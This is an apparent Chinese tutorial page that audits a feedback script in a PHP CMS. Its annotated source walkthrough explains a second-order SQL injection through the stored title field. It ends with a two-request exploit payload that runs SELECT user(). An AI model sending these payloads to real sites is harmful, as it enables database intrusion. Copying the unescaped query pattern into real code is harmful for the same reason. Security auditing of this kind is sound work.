来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 漏洞文件:/plus/feedback.phpif($comtype == #39;comments#39;) //问题从这里开始{$arctitle = addslashes($title);//$title 是关键 没有初始化 addslashes转义了我们的$title 比如我们传入1#39; ......
漏洞文件:/plus/feedback.php
if($comtype == 'comments') //问题从这里开始 { $arctitle = addslashes($title);//$title 是关键 没有初始化 addslashes转义了我们的$title 比如我们传入1' $arctitle=1\' $typeid = intval($typeid); //这些都是打酱油的 $ischeck = intval($ischeck);//这些都是打酱油的 $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype); if($msg!='') //$msg 如果不为空 继续往下走 { $inquery = "INSERT INTO `detest_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); "; //$arctitle 被带入到$inquery 这个sql 语句中 我们来看看效果
继续看代码往下走
$rs = $dsql->ExecuteNoneQuery($inquery); //ExecuteNoneQuery发送sql 语句 //思考 既然$inquery insert 到数据库后$arctitle 的值没有被转义 我们应该想办法利用啊 继续往下看 if(!$rs) //这些都是打酱油的 { ShowMsg(' 发表评论错误! ', '-1'); exit(); } } } //引用回复 elseif ($comtype == 'reply') //第二个关键 { $row = $dsql->GetOne("SELECT * FROM `detest_feedback` WHERE id ='$fid'");//看这sql 语句 //SELECT * FROM `detest_feedback` WHERE id ='$fid' 查询的不就是我们刚刚insert的表么 $fid是get传过来的
往下看
$arctitle = $row['arctitle']; //看到这里你激动了么 直接取数据库里面arctitle 字段的值给$arctitle 看看$arctitle 被带入到哪里了
$aid =$row['aid'];//这些都是打酱油的
$msg = $quotemsg.$msg;//这些都是打酱油的
$msg = HtmlReplace($msg, 2);//这些都是打酱油的
$inquery = "INSERT INTO `detest_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
//$arctitle 被带入到 $inquery 这里 我们构建下语句 echo $inquery 看看
$dsql->ExecuteNoneQuery($inquery);//这里用ExecuteNoneQuery发送sql 语句 我们看看这个函数吧
/* 本次审计到这里结束了 最后给出的exp是 只能select user() 大牛们可以开拓思维想想 有没别的招
action=send&comtype=comments&aid=13&isconfirm=yes&feedbacktype=feedback&face=1&msg=22222¬user=1&validate=gram&typeid=12&title=',@`'`,1,1,1,1,1,1,1,(SELECT user())),(1,
* 第2次post的语句 //aid 要和上面的一样 fid 前面有说
action=send&comtype=reply&aid=13&isconfirm=yes&feedbacktype=feedback&validate=upse&fid=9
*/ |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com